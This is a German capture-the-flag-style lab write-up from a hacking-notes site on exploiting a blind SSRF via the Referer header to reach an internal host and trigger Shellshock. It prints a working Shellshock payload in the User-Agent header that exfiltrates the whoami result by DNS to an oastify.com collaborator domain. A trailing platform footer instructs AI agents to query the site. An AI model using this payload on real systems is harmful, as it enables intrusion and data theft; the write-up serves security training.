> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# Blindes SSRF, ausgenutzt via Shellshock

### Blinde SSRF mit Shellshock-Ausnutzung

Diese Site verwendet ein Analysemodul, das die in der Kopfzeile angegebene URL ausliest **Referer** jedes Mal, wenn eine Produktseite aufgerufen wird. / Um das Lab zu lösen, müssen Sie diese Funktionalität umleiten, um einen blinden **SSRF** an einen internen Server im Bereich **192.168.0.X** auf dem Port **8080**. / Bei einem blinden Angriff muss eine Nutzlast **Shellshock** eingeschleust werden, um den Benutzernamen des Systems zu exfiltrieren.

#### Erste Beobachtung

Beim Besuch einer Produktseite sendet die Site tatsächlich eine Anfrage basierend auf der Kopfzeile **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Dies bestätigt, dass die Anwendung automatisch die in dieser Kopfzeile angegebene URL aufruft.

<figure><img src="/files/4400385c8430537d184a96df27338f5740b3d743" alt=""><figcaption></figcaption></figure>

#### Ausnutzung über Blind SSRF

Ziel ist es, die Anwendung dazu zu zwingen, einen internen Host zu kontaktieren:

```
Referer: http://192.168.X:8080
```

Da der interne Dienst anfällig für **Shellshock**, wird eine Nutzlast in die **User-Agent** Kopfzeile injiziert, die vom Zielserver interpretiert wird.

Die Nutzlast führt einen Befehl aus, um den `whoami` Ergebnis über eine DNS-Anfrage zu exfiltrieren, die an **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/d9407bab52a7bb9c9352bf960893c410ed99cc8b" alt=""><figcaption></figcaption></figure>

#### Ergebnis

Auf der Collaborator-Seite erscheint eine DNS-Abfrage, die den Benutzernamen des Systems enthält. / In diesem Fall lautet der zurückgegebene Benutzername:

<figure><img src="/files/15005b47fae4df68fa2e939e88aa99c4a25ec6c4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
